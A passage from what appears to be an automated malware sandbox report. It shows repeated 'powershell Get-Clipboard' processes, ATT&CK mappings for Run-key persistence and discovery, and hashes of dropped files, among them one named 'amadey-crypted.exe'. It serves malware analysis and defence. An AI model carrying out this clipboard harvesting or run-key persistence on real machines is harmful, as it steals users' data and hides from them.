    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1496
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:60
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1000006001\noicon.exe

Filesize
240KB

MD5
08c9d2a9a51dceb52a5968ea59317d19

SHA1
751211b482e71f640a313b2bb5cffaa838b77f87

SHA256
bc16ec0ec19bde569cc58a34edd67f83de06af445761a17f3c546045c107e4c7

SHA512
8ccc533dcfa94ebeb31e7e2981b931513b975d13fbc88fb3a25537f1f8f6d1745060e0d2656a00ba8ae39da6067130b31fe0d04213e39d97e3e59fcba01f8414

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000007021\cashama.cmd

Filesize
280KB

MD5
6993803c1d026adb6de3e6ea61476edc

SHA1
bcf38ca1ef977d7f33e707407144160c65af2e7c

SHA256
6679c29c3042a2ef6fad6c60efba99570aa0d8ab30e6af2465b9e4011784eab4

SHA512
77f4101f3bfc687edbbd69dd0698364abbdb0f4cf3583a2037c06086962ce3f3c00e801e7f4e2f63df0620b1cb2b8f72c52c6d29a4f8902b36ebddd7aa954bf4

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000008001\amadey-crypted.exe

Filesize
370KB

MD5
bd3a5e7b81fa1d49a2c8be6a6661120e

SHA1
107050b49bbde04808cdad0fd25aa0f3241a2db2

SHA256
8de9ed706a0589c641562f7cc6aa24305f80e64a00e807be406bea997b893627

SHA512
ae539dc7468e10e7052b3740a6105b2516fe0279d29d3116e753b6b0e5e7e7627cd9990a0bd006f459a157f642d8da77acddeeae9f0458f3435741eced39323c

Download Submit
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\Crypto\Cipher\_Salsa20.pyd

Filesize
13KB

MD5
371776a7e26baeb3f75c93a8364c9ae0

SHA1
bf60b2177171ba1c6b4351e6178529d4b082bda9

SHA256
15257e96d1ca8480b8cb98f4c79b6e365fe38a1ba9638fc8c9ab7ffea79c4762

SHA512
c23548fbcd1713c4d8348917ff2ab623c404fb0e9566ab93d147c62e06f51e63bdaa347f2d203fe4f046ce49943b38e3e9fa1433f6455c97379f2bc641ae7ce9

Download Submit
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\Crypto\Cipher\_raw_cfb.pyd

Filesize
13KB

MD5
43bbe5d04460bd5847000804234321a6

SHA1
3cae8c4982bbd73af26eb8c6413671425828dbb7

SHA256
faa41385d0db8d4ee2ee74ee540bc879cf2e884bee87655ff3c89c8c517eed45

SHA512
dbc60f1d11d63bebbab3c742fb827efbde6dff3c563ae1703892d5643d5906751db3815b97cbfb7da5fcd306017e4a1cdcc0cdd0e61adf20e0816f9c88fe2c9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\Crypto\Cipher\_raw_ctr.pyd

Filesize
14KB

MD5
c6b20332b4814799e643badffd8df2cd

SHA1
e7da1c1f09f6ec9a84af0ab0616afea55a58e984

SHA256
61c7a532e108f67874ef2e17244358df19158f6142680f5b21032ba4889ac5d8

SHA512
d50c7f67d2dfb268ad4cf18e16159604b6e8a50ea4f0c9137e26619fd7835faad323b5f6a2b8e3ec1c023e0678bcbe5d0f867cd711c5cd405bd207212228b2b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\Crypto\Cipher\_raw_ecb.pyd

Filesize
10KB

MD5
fee13d4fb947835dbb62aca7eaff44ef

SHA1
7cc088ab68f90c563d1fe22d5e3c3f9e414efc04

SHA256
3e0d07bbf93e0748b42b1c2550f48f0d81597486038c22548224584ae178a543

SHA512
dea92f935bc710df6866e89cc6eb5b53fc7adf0f14f3d381b89d7869590a1b0b1f98f347664f7a19c6078e7aa3eb0f773ffcb711cc4275d0ecd54030d6cf5cb2

Download Submit
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\Crypto\Cipher\_raw_ofb.pyd

Filesize
12KB

MD5
4d9182783ef19411ebd9f1f864a2ef2f

SHA1
ddc9f878b88e7b51b5f68a3f99a0857e362b0361

SHA256
c9f4c5ffcdd4f8814f8c07ce532a164ab699ae8cde737df02d6ecd7b5dd52dbd

SHA512
8f983984f0594c2cac447e9d75b86d6ec08ed1c789958afa835b0d1239fd4d7ebe16408d080e7fce17c379954609a93fc730b11be6f4a024e7d13d042b27f185

Download Submit
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\Crypto\Hash\_BLAKE2s.pyd

Filesize
14KB

MD5
9d28433ea8ffbfe0c2870feda025f519

SHA1
4cc5cf74114d67934d346bb39ca76f01f7acc3e2

SHA256
fc296145ae46a11c472f99c5be317e77c840c2430fbb955ce3f913408a046284

SHA512
66b4d00100d4143ea72a3f603fb193afa6fd4efb5a74d0d17a206b5ef825e4cc5af175f5fb5c40c022bde676ba7a83087cb95c9f57e701ca4e7f0a2fce76e599

Download Submit
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\Crypto\Hash\_SHA1.pyd

Filesize
19KB

MD5
ab0bcb36419ea87d827e770a080364f6

SHA1
6d398f48338fb017aacd00ae188606eb9e99e830

SHA256
a927548abea335e6bcb4a9ee0a949749c9e4aa8f8aad481cf63e3ac99b25a725

SHA512
3580fb949acee709836c36688457908c43860e68a36d3410f3fa9e17c6a66c1cdd7c081102468e4e92e5f42a0a802470e8f4d376daa4ed7126818538e0bd0bc4

Download Submit
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\Crypto\Hash\_SHA256.pyd

